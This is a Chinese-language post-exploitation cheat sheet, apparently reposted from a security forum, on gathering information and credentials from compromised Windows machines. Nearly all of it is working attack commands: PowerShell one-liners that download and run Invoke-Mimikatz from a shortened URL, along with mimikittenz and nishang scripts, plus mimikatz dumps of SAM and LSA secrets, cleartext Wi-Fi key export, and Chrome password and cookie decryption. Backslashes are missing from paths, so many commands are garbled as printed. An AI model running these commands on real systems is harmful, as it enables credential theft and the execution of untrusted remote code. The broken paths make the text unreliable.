后渗透攻防的信息收集之CMD下信息收集

后渗透常见的信息收集思路

1.1 常用来获取windows密码的工具

1.2免杀抓取密码的两种方式

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
tips:powershell 默认windows visa后才有

1.3 windows本地的信息收集

1.4 vpn密码获取为例

mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit

1.5 windows wifi密码的获取

netsh wlan export profile interface=无线网络连接 key=clear folder=C:

1.6 ie浏览器的代理信息查看(网络代理信息wpad信息)

reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"

1.7 windows hosts/iis config

C:WindowsSystem32driversetchosts windows7 windows2008等
C:WINDOWSSYSTEM32DRIVERSETCHOSTS windows2003位置
提权情况下或者过了uac的情况下直接type一下就行了
iis-web路径
iis6 =========>cscript.exe C:InetpubAdminScriptsadsutil.vbs ENUM W3SVC/1/root
iis7 ,8 =======>appcmd.exe
%systemroot%/system32/inetsrv/appcmd.exe list site ——列出网站列表
%systemroot%system32inetsrvappcmd.exe list vdir ——列出网站物理路径
当然你也可以用mimikatz

mimikatz.exe privilege::debug log "iis::apphost /in:"%systemroot%system32inetsrvconfigapplicationHost.config" /live" exit

1.8 windows 回收站的信息获取

FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:$Recycle.Bin%d ^>%c.txt
$Recycler = (New-Object -ComObject Shell.Application).NameSpace(0xa);

foreach($file in $Recycler.items()){$file.path;$file.ExtendedProperty("{9B174B33-40FF-11D2-A27E-00C04FC30871} 2")+''+$file.name;$file.Type}

1.9 chrome为例 的密码和cookies获取

%localappdata%googlechromeUSERDA~1defaultLOGIND~1

%localappdata%googlechromeUSERDA~1defaultUSERDA~1

%localappdata%googlechromeUSERDA~1defaultcookies

chrome的用户信息保存在本地文件为sqlite 数据库格式

2.0 mimikatz+WebBrowserPassView.exe获取浏览器的密码和cookie信息

mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%googlechromeUSERDA~1defaultcookies /unprotect" exit

mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%googlechromeUSERDA~1defaultUSERDA~1" exit

mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%googlechromeUSERDA~1defaultLOGIND~1" exit //读chrome密码

2.1 常用的信息收集工具介绍

2.2 powershell 常用工具的信息收集工具

powershell "IEX (New-Object Net.WebClient).DownloadString(' https://github.com/samratashok/nishang/tree/master/Gather/Gather/Get-Information.ps1'); Get-Information"

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1'); Invoke-mimikittenz

sqlserver密码获取工具Get-MSSQLCredentialPasswords.psm1 //未测

2.3 windows log的信息查看

cscript c:WINDOWSsystem32eventquery.vbs /fi "Datetime eq 06/24/2015,01:00:00AM-06/24/2015,10:00:00AM" /l Security /V #查看SECURITY日志 2015-6.24 上午1点-上午10点日志

wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4627]" #查询所有登录、注销相关的日志语法

作者：小城原文地址：https://xz.aliyun.com/t/1765

如有侵权，请联系删除

原文始发于微信公众号（橘猫学安全）：后渗透攻防的信息收集之CMD下信息收集